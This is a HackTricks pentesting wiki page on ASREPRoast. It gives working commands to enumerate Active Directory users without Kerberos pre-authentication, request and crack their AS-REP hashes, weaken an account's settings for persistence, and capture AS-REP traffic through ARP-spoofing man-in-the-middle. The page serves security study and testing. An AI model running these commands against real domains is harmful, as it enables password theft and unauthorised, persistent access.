hacktricks/windows-hardening/active-directory-methodology/asreproast.md

# ASREPRoast

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

## ASREPRoast

ASREPRoast is a security attack that exploits users who lack the **Kerberos pre-authentication required attribute**. Essentially, this vulnerability allows attackers to request authentication for a user from the Domain Controller (DC) without needing the user's password. The DC then responds with a message encrypted with the user's password-derived key, which attackers can attempt to crack offline to discover the user's password.

The main requirements for this attack are:

* **Lack of Kerberos pre-authentication**: Target users must not have this security feature enabled.
* **Connection to the Domain Controller (DC)**: Attackers need access to the DC to send requests and receive encrypted messages.
* **Optional domain account**: Having a domain account allows attackers to more efficiently identify vulnerable users through LDAP queries. Without such an account, attackers must guess usernames.

#### Enumerating vulnerable users (need domain credentials)

{% code title="Using Windows" %}
```bash
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
```
{% endcode %}

{% code title="Using Linux" %}
```bash
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName  
```
{% endcode %}

#### Request AS\_REP message

{% code title="Using Linux" %}
```bash
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
```
{% endcode %}

{% code title="Using Windows" %}
```bash
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
```
{% endcode %}

{% hint style="warning" %}
AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.
{% endhint %}

### Cracking

```bash
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
```

### Persistence

Force **preauth** not required for a user where you have **GenericAll** permissions (or permissions to write properties):

{% code title="Using Windows" %}
```bash
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
```
{% endcode %}

{% code title="Using Linux" %}
```bash
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH
```
{% endcode %}

## ASREProast without credentials

An attacker can use a man-in-the-middle position to capture AS-REP packets as they traverse the network without relying on Kerberos pre-authentication being disabled. It therefore works for all users on the VLAN.\
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) allows us to do so. Moreover, the tool forces client workstations to use RC4 by altering the Kerberos negotiation.

```bash
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen
```

## References

* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)

***

<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}